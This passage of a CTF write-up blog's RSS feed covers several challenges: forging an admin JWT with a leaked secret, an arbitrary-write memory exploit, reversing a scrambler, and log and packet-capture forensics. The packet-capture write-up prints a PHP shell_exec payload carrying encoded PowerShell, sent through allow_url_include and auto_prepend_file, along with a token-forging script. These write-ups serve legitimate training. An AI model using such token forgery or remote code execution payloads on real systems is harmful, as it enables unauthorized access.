&lt;p&gt;From the code review, we identified that the /tickets endpoint performs a SQL query that retrieves all submitted tickets, including one from the admin containing the flag. Our objective was to access /tickets, but there was an obstacle: the endpoint verifies the username parameter in the JWT payload, and it checks that the token’s signature matches with the server’s JWT secret.&lt;/p&gt;

&lt;p&gt;Initially, we thought we didn’t have this secret, so we explored other avenues. However, in the only code file we hadn’t examined closely—index.html—we found the JWT secret embedded within a script tag. This meant we could now forge a JWT with username: admin, sign it using the discovered secret, and access the /tickets endpoint as the admin.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;const secretKey = await crypto.subtle.importKey(	
	&quot;raw&quot;,
	new TextEncoder().encode(&quot;halloween-secret&quot;),
	{ name: &quot;HMAC&quot;, hash: &quot;SHA-256&quot; },
	false,
	[&quot;sign&quot;],
	);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h5 id=&quot;generate-jwt-script&quot;&gt;Generate JWT Script&lt;/h5&gt;

&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import jwt

# Define the secret key we found in the source code
secret_key = &quot;halloween-secret&quot;

# Define the payload, which includes setting the username to &quot;admin&quot;
payload = {
    &quot;username&quot;: &quot;admin&quot;,
    &quot;iat&quot;: 1729902153  # This is just an example; you can set the timestamp to the current time if needed.
}

# Create the JWT with the HS256 algorithm
token = jwt.encode(payload, secret_key, algorithm=&quot;HS256&quot;)

print(&quot;Generated JWT for admin:&quot;, token)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;After generating the admin JWT, I entered it into the cookie storage and refreshed the tickets page, witch revealed the flag!&lt;/p&gt;

&lt;div class=&quot;custom-box success&quot;&gt;
    Waywitch has been pwn3d!
&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
</description>
        <pubDate>Sat, 01 Mar 2025 00:00:00 +0000</pubDate>
        <link>http://bugculture.io/writeups/web/waywitch</link>
        <guid isPermaLink="true">http://bugculture.io/writeups/web/waywitch</guid>
        
        <category>web</category>
        
        <category>ctf</category>
        
        <category>jwt</category>
        
        <category>token-forging</category>
        
        
      </item>
    
      <item>
        <title>LinkHands</title>
        <description>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;div class=&quot;terminal-box&quot;&gt;
    &lt;div class=&quot;terminal-header&quot;&gt;
        &lt;span class=&quot;terminal-dot red&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot yellow&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot green&quot;&gt;&lt;/span&gt;
    &lt;/div&gt;
    &lt;div class=&quot;terminal-body&quot;&gt;
        &lt;pre&gt;&lt;span class=&quot;terminal-user&quot;&gt;rosehacks&lt;/span&gt;&lt;span class=&quot;terminal-host&quot;&gt;@pwny&lt;/span&gt;$ cat linkhands.txt
We were tasked with uncovering a flag hidden in memory within a CTF challenge. 
The primary obstacle was that the program asked for two memory addresses and 
allowed us to overwrite one with the other—this type of vulnerability is known
as an arbitrary write. By exploiting this, we could manipulate memory pointers 
and trick the program into revealing the flag.
&lt;/pre&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;What we did:&lt;/p&gt;

&lt;div class=&quot;terminal-box&quot;&gt;
    &lt;div class=&quot;terminal-header&quot;&gt;
        &lt;span class=&quot;terminal-dot red&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot yellow&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot green&quot;&gt;&lt;/span&gt;
    &lt;/div&gt;
    &lt;div class=&quot;terminal-body&quot;&gt;
        &lt;pre&gt;&lt;span class=&quot;terminal-user&quot;&gt;rosehacks&lt;/span&gt;&lt;span class=&quot;terminal-host&quot;&gt;@pwny&lt;/span&gt;$ cat solution.txt
* Use an arbitrary write vulnerability to modify a pointer in the program&apos;s memory.
* Make the program read hidden memory locations and reveal the entire flag.
&lt;/pre&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;h4 id=&quot;can-you-read-this-&quot;&gt;Can you read this: ?–&amp;gt;?&lt;/h4&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;/assets/images/linkhands.png&quot; title=&quot;LinkHands Decompiled&quot; width=&quot;94%&quot; /&gt;
&lt;/p&gt;

&lt;h4 id=&quot;weakness&quot;&gt;Weakness&lt;/h4&gt;
&lt;p&gt;The program presented us with the following prompt:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;The cultists look expectantly to you - who will you link hands with? 0x0021 0x0022
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;This input prompt was directly tied to the arbitrary write vulnerability, where we could provide two memory addresses, and the program would overwrite one with the other.Here’s the core code that allowed this:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;iVar1 = __isoc99_sscanf(local_58, &quot;%p %p&quot;, &amp;amp;local_68, &amp;amp;local_60);
if (iVar1 == 2) {
    *local_68 = local_60;  // Arbitrary write: overwrites value at local_68 with local_60
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h4 id=&quot;explanation&quot;&gt;Explanation:&lt;/h4&gt;
&lt;p&gt;The program reads two pointers (local_68 and local_60) from user input. If both pointers are valid, it writes the value of local_60 to the memory location at local_68. This is an arbitrary write vulnerability, meaning we can control which memory locations are modified.&lt;/p&gt;

&lt;h5 id=&quot;first-attempt-access-the-flags-starting-point&quot;&gt;First Attempt: Access The Flag’s Starting Point&lt;/h5&gt;
&lt;p&gt;Our first step was to identify where the flag was stored. We started by analyzing the memory structure of the program and pointing the vulnerable pointer to a known address in the .data section.
The key was manipulating the pointer PTR_PTR_00404190, which controlled the program’s memory reads during the output process. This pointer was used in a loop to traverse memory and print characters:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;ppuVar4 = &amp;PTR_PTR_00404190;
do {
    putchar((int)*(char *)(ppuVar4 + 1));  // Print characters
    ppuVar4 = (undefined **)*ppuVar4;     // Move to the next pointer
} while (ppuVar4 != (undefined **)0x0);  // Stop when a NULL pointer is reached
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;We realized that by controlling PTR_PTR_00404190, we could decide where the program started printing from. We pointed it at a likely address in the .data section (0x404040), and this yielded the first part of the flag: H.
However, this only printed the first character, which told us that the flag was likely stored contiguously in memory—but not fully read in our initial attempts.&lt;/p&gt;

&lt;h5 id=&quot;traversing-memory-with-arbitrary-writes&quot;&gt;Traversing Memory with Arbitrary Writes&lt;/h5&gt;

&lt;p&gt;By using the arbitrary write vulnerability, we could continuously modify the memory pointer to read further into memory, revealing more characters of the flag.
We tried various memory addresses in sequence, inching our way through memory. For example:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Address: 0x404040 gave us H.&lt;/li&gt;
  &lt;li&gt;Address: 0x40403f, 0x40403e, and others allowed us to reveal the middle and final parts of the flag.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;With each attempt, we revealed more of the flag, one piece at a time:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;First character: H&lt;/li&gt;
  &lt;li&gt;Last portion: 41n_0e343f537ebc}&lt;/li&gt;
&lt;/ul&gt;

&lt;h5 id=&quot;the-full-flag&quot;&gt;The Full Flag&lt;/h5&gt;

&lt;p&gt;After inspecting different addresses using Ghidra and analyzing how memory was laid out in the .data section, we realized that the flag was spread across multiple addresses. We iteratively used our arbitrary write to print out pieces of memory, stitching together the full flag.
By controlling the pointer traversal, we were able to reveal:
	• The first character (H)
	• Middle parts of the flag that were hidden in nearby memory
	• And finally, the closing characters (41n_0e343f537ebc})
After piecing together all the parts, we revealed the full flag.&lt;/p&gt;

&lt;h4 id=&quot;tools-and-techniques-for-future-reference&quot;&gt;Tools and Techniques for Future Reference&lt;/h4&gt;

&lt;ol&gt;
  &lt;li&gt;Ghidra for Memory Analysis
We used Ghidra to examine the .data section and identify potential addresses where the flag might be stored. This allowed us to focus our memory exploration efforts on the right addresses.&lt;/li&gt;
  &lt;li&gt;Arbitrary Write Exploitation
The arbitrary write allowed us to modify critical memory pointers. By pointing PTR_PTR_00404190 to specific memory addresses, we could read out hidden data from memory—revealing parts of the flag that were otherwise inaccessible.&lt;/li&gt;
  &lt;li&gt;Manual Memory Exploration
By systematically changing memory addresses during the pointer manipulation process, we were able to extract the flag piece by piece. This method required trial and error, but each attempt revealed new pieces of the puzzle.&lt;/li&gt;
&lt;/ol&gt;

&lt;div class=&quot;custom-box success&quot;&gt;
    LinkHands has been pwn3d!
&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

</description>
        <pubDate>Sun, 02 Mar 2025 00:00:00 +0000</pubDate>
        <link>http://bugculture.io/writeups/reversing/linkhands</link>
        <guid isPermaLink="true">http://bugculture.io/writeups/reversing/linkhands</guid>
        
        <category>reversing</category>
        
        <category>gdb</category>
        
        <category>ghidra</category>
        
        <category>ctf</category>
        
        
      </item>
    
      <item>
        <title>Terrorfryer</title>
        <description>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;div class=&quot;terminal-box&quot;&gt;
    &lt;div class=&quot;terminal-header&quot;&gt;
        &lt;span class=&quot;terminal-dot red&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot yellow&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot green&quot;&gt;&lt;/span&gt;
    &lt;/div&gt;
    &lt;div class=&quot;terminal-body&quot;&gt;
        &lt;pre&gt;&lt;span class=&quot;terminal-user&quot;&gt;rosehacks&lt;/span&gt;&lt;span class=&quot;terminal-host&quot;&gt;@pwny&lt;/span&gt;$ cat terrorfryer.txt
In this reverse-engineering challenge, we encountered a binary executable that 
scrambled a given input string using an internal function, fryer. Our goal was 
to reverse this scrambling algorithm and retrieve the original flag.
&lt;/pre&gt; 
    &lt;/div&gt;
&lt;/div&gt;

&lt;h4 id=&quot;can-you-read-this--&quot;&gt;Can you read this ?-&amp;gt;?&lt;/h4&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;/assets/images/terrorfryer.png&quot; title=&quot;Terrorfryer Decompiled&quot; width=&quot;90%&quot; /&gt;
&lt;/p&gt;

&lt;h5 id=&quot;challenge-description&quot;&gt;Challenge Description:&lt;/h5&gt;
&lt;p&gt;The scrambled flag was given as:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;1_n3}f3br9Ty{_6_rHnf01fg_14rlbtB60tuarun0c_tr1y3
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;After decompiling the binary in Ghidra and looking at the available functions, it became clear that we needed to analyze the binary’s fryer function, replicate its logic, and apply the reverse operations to recover the correct flag format.&lt;/p&gt;

&lt;h6 id=&quot;analyzing-the-fryer-function-scrambler&quot;&gt;Analyzing The Fryer Function (Scrambler)&lt;/h6&gt;

&lt;p&gt;The fryer function was a scrambling algorithm written in C. It modified the input string in-place, using a sequence of swaps determined by rand_r, seeded with a static value:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;void fryer(char *param_1) {
  unsigned int seed = 0x13377331;
  size_t length = strlen(param_1);
  
  for (size_t i = 0; i &amp;lt; length - 1; i++) {
    int rand_index = rand_r(&amp;amp;seed) % (length - i) + i;
    // Swap param_1[i] and param_1[rand_index]
    char temp = param_1[i];
    param_1[i] = param_1[rand_index];
    param_1[rand_index] = temp;
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;How fryer Works:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;rand_r generates a random number using the provided seed (0x13377331).&lt;/li&gt;
  &lt;li&gt;For each character in the string, it computes a rand_index to determine which character to swap with.&lt;/li&gt;
  &lt;li&gt;This process repeats for the entire length of the string, creating a scrambled version of the input string.&lt;/li&gt;
&lt;/ul&gt;

&lt;h5 id=&quot;reversing-the-scramble-in-c&quot;&gt;Reversing The Scramble in C&lt;/h5&gt;
&lt;p&gt;After several attempts with Python, we recognized that matching rand_r exactly was tricky. We decided to use C to replicate the scrambling and reverse it:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Track Each Swap: During the scrambling, each swap was recorded with the exact indices that were swapped.&lt;/li&gt;
  &lt;li&gt;Apply Swaps in Reverse: To unscramble, we simply applied each recorded swap in reverse order. By reversing each swap in this way, we effectively reversed the scramble process, recovering the original flag.&lt;/li&gt;
&lt;/ul&gt;

&lt;h5 id=&quot;final-solution&quot;&gt;Final Solution&lt;/h5&gt;

&lt;p&gt;Our final solution was a C program that correctly implemented both the scramble and unscramble functions, relying on C’s rand_r for precise consistency:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;
#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
#include &lt;stdlib.h&gt;
#define SEED 0x13377331
void scramble(char *str) {
    unsigned int seed = SEED;
    size_t len = strlen(str);
    for (size_t i = 0; i &amp;lt; len - 1; i++) {
        int rand_index = rand_r(&amp;amp;seed) % (len - i) + i;
        char temp = str[i];
        str[i] = str[rand_index];
        str[rand_index] = temp;
    }
}
void unscramble(char *str) {
    unsigned int seed = SEED;
    size_t len = strlen(str);
    int swaps[len - 1][2];
for (size_t i = 0; i &amp;lt; len - 1; i++) {
        int rand_index = rand_r(&amp;amp;seed) % (len - i) + i;
        swaps[i][0] = i;
        swaps[i][1] = rand_index;
    }
for (int i = len - 2; i &amp;gt;= 0; i--) {
        int index1 = swaps[i][0];
        int index2 = swaps[i][1];
        char temp = str[index1];
        str[index1] = str[index2];
        str[index2] = temp;
    }
}
int main() {
    char scrambled_flag[] = &quot;1_n3}f3br9Ty{_6_rHnf01fg_14rlbtB60tuarun0c_tr1y3&quot;;
    
    printf(&quot;Scrambled flag: %s\n&quot;, scrambled_flag);
    
    unscramble(scrambled_flag);
    
    printf(&quot;Unscrambled flag: %s\n&quot;, scrambled_flag);
    
    return 0;
}&amp;lt;/code&amp;gt;&amp;lt;/pre&amp;gt;

##### Compile and Run: 

&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;gcc -o reverse_fryer reverse_fryer.c
./reverse_fryer
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;
  This revealed the correct flag in its original, unscrambled form.
&lt;/p&gt;

&lt;div class=&quot;custom-box success&quot;&gt;
    Terrorfryer has been pwn3d!
&lt;/div&gt;

&lt;br /&gt;

&lt;br /&gt;
&lt;/stdlib.h&gt;&lt;/string.h&gt;&lt;/stdio.h&gt;&lt;/code&gt;&lt;/pre&gt;
</description>
        <pubDate>Mon, 03 Mar 2025 00:00:00 +0000</pubDate>
        <link>http://bugculture.io/writeups/reversing/terrorfryer</link>
        <guid isPermaLink="true">http://bugculture.io/writeups/reversing/terrorfryer</guid>
        
        <category>reversing</category>
        
        <category>gdb</category>
        
        <category>ghidra</category>
        
        <category>ctf</category>
        
        <category>python</category>
        
        
      </item>
    
      <item>
        <title>Foggy Intrusion</title>
        <description>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;div class=&quot;terminal-box&quot;&gt;
    &lt;div class=&quot;terminal-header&quot;&gt;
        &lt;span class=&quot;terminal-dot red&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot yellow&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot green&quot;&gt;&lt;/span&gt;
    &lt;/div&gt;
    &lt;div class=&quot;terminal-body&quot;&gt;
        &lt;pre&gt;&lt;span class=&quot;terminal-user&quot;&gt;rosehacks&lt;/span&gt;&lt;span class=&quot;terminal-host&quot;&gt;@pwny&lt;/span&gt;$ cat foggy_intrusion.txt
In this forensic analysis, we’re tasked with unraveling the traces of an
attack that took place on some local servers. We are given a /logs directory.
Inside the directory is a capture of all the event viewer logs. Our foal is 
to discover what the attackers have done and recover the flag. 
&lt;/pre&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;h4 id=&quot;analyzing-the-logs-in-event-viewer&quot;&gt;Analyzing the Logs in Event Viewer&lt;/h4&gt;
&lt;p&gt;When conducting forensic analysis, there’s often a recommended order or priority of logs to examine. Starting with critical files can streamline the investigation and help identify the attack timeline faster. Some of the more important .evtx files to review first include:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Security.evtx: Provides essential logs related to login attempts, privilege escalations, and any account or group changes, making it critical for tracing unauthorized access.&lt;/li&gt;
  &lt;li&gt;Microsoft-Windows-PowerShell_Operational.evtx: This log is especially valuable if the attacker’s TTPs (Tactics, Techniques, and Procedures) include PowerShell, as it may contain specific commands they executed.&lt;/li&gt;
  &lt;li&gt;Microsoft-Windows-Sysmon/Operational.evtx: Sysmon logs track detailed process creation, network connections, and file modifications, which can be instrumental in identifying suspicious behaviors.&lt;/li&gt;
  &lt;li&gt;Microsoft-Windows-TaskScheduler_Operational.evtx: Task Scheduler logs help spot unusual or unauthorized tasks that may have been created to maintain persistence.&lt;/li&gt;
  &lt;li&gt;Microsoft-Windows-TerminalServices-LocalSessionManager.evtx: Useful for tracking Remote Desktop Protocol (RDP) connections, which can reveal unauthorized access.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;extracting-the-flag&quot;&gt;Extracting the flag&lt;/h4&gt;
&lt;p&gt;There were two parts to the flag in this challenge. Both parts were found within the PowerShell Operational logs, Which I happened to start my analysis with. Starting from the earlisted event of th  log I began working my way up, looking for suspicious activities. I eventually stumbled upon an event where a PowerShell script was running a base64 encoded command. Decoding the command revealed the first part of the flag.&lt;/p&gt;

&lt;h5 id=&quot;part-1&quot;&gt;Part 1:&lt;/h5&gt;
&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;/assets/images/foggyintrusion.png&quot; title=&quot;Foggy Intrusion&quot; width=&quot;94%&quot; /&gt;
&lt;/p&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Continuing from there, I kept going through the PowerShell logs until I found another base64 encoded value in a PowerShell script. Decoding the value revealed the second part of the flag!&lt;/p&gt;

&lt;h5 id=&quot;part-2&quot;&gt;Part 2:&lt;/h5&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;/assets/images/foggyintrusion1.png&quot; title=&quot;The Flag!!!&quot; width=&quot;94%&quot; /&gt;
&lt;/p&gt;

&lt;div class=&quot;custom-box success&quot;&gt;
    Foggy Intrusion has been pwn3d!
&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
&lt;br /&gt;&lt;/p&gt;
</description>
        <pubDate>Tue, 04 Mar 2025 00:00:00 +0000</pubDate>
        <link>http://bugculture.io/writeups/forensics/foggyintrusion</link>
        <guid isPermaLink="true">http://bugculture.io/writeups/forensics/foggyintrusion</guid>
        
        <category>forensics</category>
        
        <category>event-viewer</category>
        
        <category>ctf</category>
        
        
      </item>
    
      <item>
        <title>Ghostly Persistence</title>
        <description>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;div class=&quot;terminal-box&quot;&gt;
    &lt;div class=&quot;terminal-header&quot;&gt;
        &lt;span class=&quot;terminal-dot red&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot yellow&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot green&quot;&gt;&lt;/span&gt;
    &lt;/div&gt;
    &lt;div class=&quot;terminal-body&quot;&gt;
        &lt;pre&gt;&lt;span class=&quot;terminal-user&quot;&gt;rosehacks&lt;/span&gt;&lt;span class=&quot;terminal-host&quot;&gt;@pwny&lt;/span&gt;$ cat binary_basis.txt
In this easy forensic analysis, we’re tasked with unraveling the traces of an attack that 
took place under the cover of darkness on a &quot;secure&quot; web server. The challenge brief sets 
the scene: an intruder leveraged vulnerabilities in the system to manipulate restricted areas. 
Our mission? Use the captured .pcap file to piece together the details of this nocturnal 
breach and, ultimately, recover the elusive flag.
&lt;span class=&quot;terminal-user&quot;&gt;rosehacks&lt;/span&gt;&lt;span class=&quot;terminal-host&quot;&gt;@pwny&lt;/span&gt;$ cat description.txt
On a quiet Halloween night, when the world outside was wrapped in shadows, an intrusion alert 
pierced through the calm. The alert, triggered by an internal monitoring system, pinpointed 
unusual activity on a specific workstation. Can you illuminate the darkness and uncover what 
happened during this intrusion? Note: flag is split into two parts.
&lt;/pre&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;h5 id=&quot;analyzing-the-capture-file-with-wireshark&quot;&gt;Analyzing the Capture File with Wireshark&lt;/h5&gt;
&lt;p&gt;To begin, we load the .pcap file into Wireshark, quickly noticing repeated POST requests. Several of these POST requests appeared suspicious—especially those with parameters hinting at risky PHP directives such as allow_url_include and auto_prepend_file. These directives are commonly abused to enable remote file inclusion, leading us to suspect that the attacker used them to execute arbitrary PHP code on the server.&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;/assets/images/ghostlypersistence.png&quot; title=&quot;Ghostly Persistence&quot; width=&quot;94%&quot; /&gt;
&lt;/p&gt;

&lt;h4 id=&quot;initial-observation-of-http-traffic&quot;&gt;Initial Observation of HTTP Traffic&lt;/h4&gt;
&lt;p&gt;Using Wireshark and HTTP filters, we extracted and examined all HTTP requests, focusing on repeated attempts to interact with PHP files using unusual HTTP headers and payloads. Here’s a breakdown of the key requests:
	• Suspicious GET and POST Requests: The attacker tries accessing endpoints like /+CSCOT+/translation-table and other sensitive file paths.
	• Code Execution with PHP Directives: POST requests were particularly concerning as they included:
		○ allow_url_include=1
		○ auto_prepend_file=php://input
These headers suggest the attacker may have tried to leverage Remote Code Execution (RCE) through PHP code injection.&lt;/p&gt;

&lt;h4 id=&quot;decoding-the-payloads&quot;&gt;Decoding The Payloads&lt;/h4&gt;
&lt;p&gt;There were only a few POST requests throughout the PCAP, which seemed successful. Upon isolating one such POST request, we noticed that the payload encoded a command in Base64. The command was then decoded and executed on the target server. Here’s an example of one of these encoded payloads:&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;/assets/images/ghostlypersistence1.png&quot; title=&quot;Ghostly Persistence&quot; width=&quot;94%&quot; /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h5 id=&quot;endoced-payload&quot;&gt;Endoced payload&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;php echo shell_exec(base64_decode(&apos;cG93ZXJzaGVsbC5leGUgLUMgIiRvdXRwdXQgPSB3aG9hbWk7ICRieXRlcyA9IFtUZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRCeXRlcygkb3V0cHV0KTsgJGNvbXByZXNzZWRTdHJlYW0gPSBbU3lzdGVtLklPLk1lbW9yeVN0cmVhbV06Om5ldygpOyAkY29tcHJlc3NvciA9IFtTeXN0ZW0uSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkY29tcHJlc3NlZFN0cmVhbSwgW1N5c3RlbS5JTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpDb21wcmVzcyk7ICRjb21wcmVzc29yLldyaXRlKCRieXRlcywgMCwgJGJ5dGVzLkxlbmd0aCk7ICRjb21wcmVzc29yLkNsb3NlKCk7ICRjb21wcmVzc2VkQnl0ZXMgPSAkY29tcHJlc3NlZFN0cmVhbS5Ub0FycmF5KCk7IFtDb252ZXJ0XTo6VG9CYXNlNjRTdHJpbmcoJGNvbXByZXNzZWRCeXRlcyki&apos;));
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h5 id=&quot;decoded-payload&quot;&gt;Decoded Payload&lt;/h5&gt;

&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;powershell.exe -C &quot;$output = whoami; $bytes = [Text.Encoding]::UTF8.GetBytes($output); $compressedStream = [System.IO.MemoryStream]::new(); $compressor = [System.IO.Compression.DeflateStream]::new($compressedStream, [System.IO.Compression.CompressionMode]::Compress); $compressor.Write($bytes, 0, $bytes.Length); $compressor.Close(); $compressedBytes = $compressedStream.ToArray(); [Convert]::ToBase64String($compressedBytes)&quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h5 id=&quot;server-responses-with-binary-data&quot;&gt;Server Responses with Binary Data&lt;/h5&gt;
&lt;p&gt;Analyzing server responses revealed that while they appeared Base64-encoded, decoding yielded binary data rather than clear text. With some investigation, we determined that this binary data was compressed using Deflate encoding. After applying both Base64 decoding and Deflate decompression, we retrieved readable outputs from the server.
Here’s how we decoded each response:
	1. Base64 Decoding: Convert the Base64 response into raw binary data.
	2. Deflate Decompression: Use a decompression tool to expand the data, revealing the plaintext output of each command.&lt;/p&gt;

&lt;h5 id=&quot;script-to-decode-server-responses&quot;&gt;Script to decode server responses:&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import base64

# Replace with the path to your file containing the extracted base64 data
input_file = &apos;base64_data.txt&apos;
output_file = &apos;decoded_output.bin&apos;

# Read the Base64 data from the file
with open(input_file, &apos;r&apos;) as f:
    base64_data = f.read()

# Decode the Base64 data to binary
binary_data = base64.b64decode(base64_data)

# Save the decoded binary data to an output file
with open(output_file, &apos;wb&apos;) as f:
    f.write(binary_data)

print(f&quot;Decoded binary data saved to {output_file}&quot;)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h4 id=&quot;revealing-the-flag&quot;&gt;Revealing the Flag&lt;/h4&gt;
&lt;p&gt;As we decoded and decompressed each server response, we found evidence of directory contents, environment variables, and other sensitive information. Among these outputs, was the flag.&lt;/p&gt;

&lt;div class=&quot;custom-box success&quot;&gt;
    Ghostly Persistence has been pwn3d!
&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
&lt;br /&gt;&lt;/p&gt;
</description>
        <pubDate>Tue, 04 Mar 2025 00:00:00 +0000</pubDate>
        <link>http://bugculture.io/writeups/forensics/ghostlypersistence</link>
        <guid isPermaLink="true">http://bugculture.io/writeups/forensics/ghostlypersistence</guid>
        
        <category>forensics</category>
        
        <category>ctf</category>
        
        <category>packet-capture</category>
        
        <category>python-scripting</category>
        
        
      </item>
    
      <item>
        <title>Binary Basis</title>
        <description>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;div class=&quot;terminal-box&quot;&gt;
    &lt;div class=&quot;terminal-header&quot;&gt;
        &lt;span class=&quot;terminal-dot red&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot yellow&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot green&quot;&gt;&lt;/span&gt;
    &lt;/div&gt;
    &lt;div class=&quot;terminal-body&quot;&gt;
        &lt;pre&gt;&lt;span class=&quot;terminal-user&quot;&gt;rosehacks&lt;/span&gt;&lt;span class=&quot;terminal-host&quot;&gt;@pwny&lt;/span&gt;$ cat binary_basis.txt
Our task starts with a story set in a mysterious tomb, where a cryptic 
puzzle guards an ancient relic. We&apos;re provided with an output.txt file
containing variables n, e, c, and treat, as well as a Python script 
source.py that generated this output. Our objective: decrypt the message 
c to reveal the hidden flag.
&lt;/pre&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;h3 id=&quot;initial-analysis&quot;&gt;Initial Analysis&lt;/h3&gt;
&lt;p&gt;The source.py file shows how each variable in output.txt was generated:
	• n: Product of 16 randomly generated 128-bit prime numbers.
	• e: The public exponent, set to 65537.
	• m: The plaintext flag, converted to a long integer.
	• c: The ciphertext, calculated as c = pow(m, e, n).
	• treat: A specially structured sum of powers of two, each multiplied by the primes used to generate n.&lt;/p&gt;

&lt;p&gt;The challenge boils down to leveraging treat to recover the 16 primes used in n, allowing us to factor n and derive the private key for decryption.&lt;/p&gt;

&lt;h3 id=&quot;strategy&quot;&gt;Strategy&lt;/h3&gt;
&lt;p&gt;The key to solving this lies in treat. We notice that each term in treat has the structure:
treat=∑(primei×2power_factors[i])\text{treat} = \sum (\text{prime}_i \times 2^{\text{power_factors}[i]})treat=∑(primei​×2power_factors[i])
where each prime is multiplied by a distinct power of two. This unique structure lets us isolate each prime by dividing treat by each descending power of two.&lt;/p&gt;

&lt;h4 id=&quot;solution-walkthrough&quot;&gt;Solution Walkthrough&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;Extracting Primes from treat:
    &lt;ul&gt;
      &lt;li&gt;We sorted the list of power factors in descending order. For each power factor, we divided treat by 2factor2^{\text{factor}}2factor to extract each prime and then adjusted treat by subtracting out the prime’s value.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Calculating phi(n):
    &lt;ul&gt;
      &lt;li&gt;With all 16 primes recovered, we computed phi(n) as:
  -ϕ(n)=(p1−1)×(p2−1)×⋯×(p16−1)\phi(n) = (p_1 - 1) \times (p_2 - 1) \times \dots \times (p_{16} - 1)ϕ(n)=(p1​−1)×(p2​−1)×⋯×(p16​−1)&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Computing d:
    &lt;ul&gt;
      &lt;li&gt;We computed the private exponent d as the modular inverse of e modulo phi(n).&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Decrypting c:
    &lt;ul&gt;
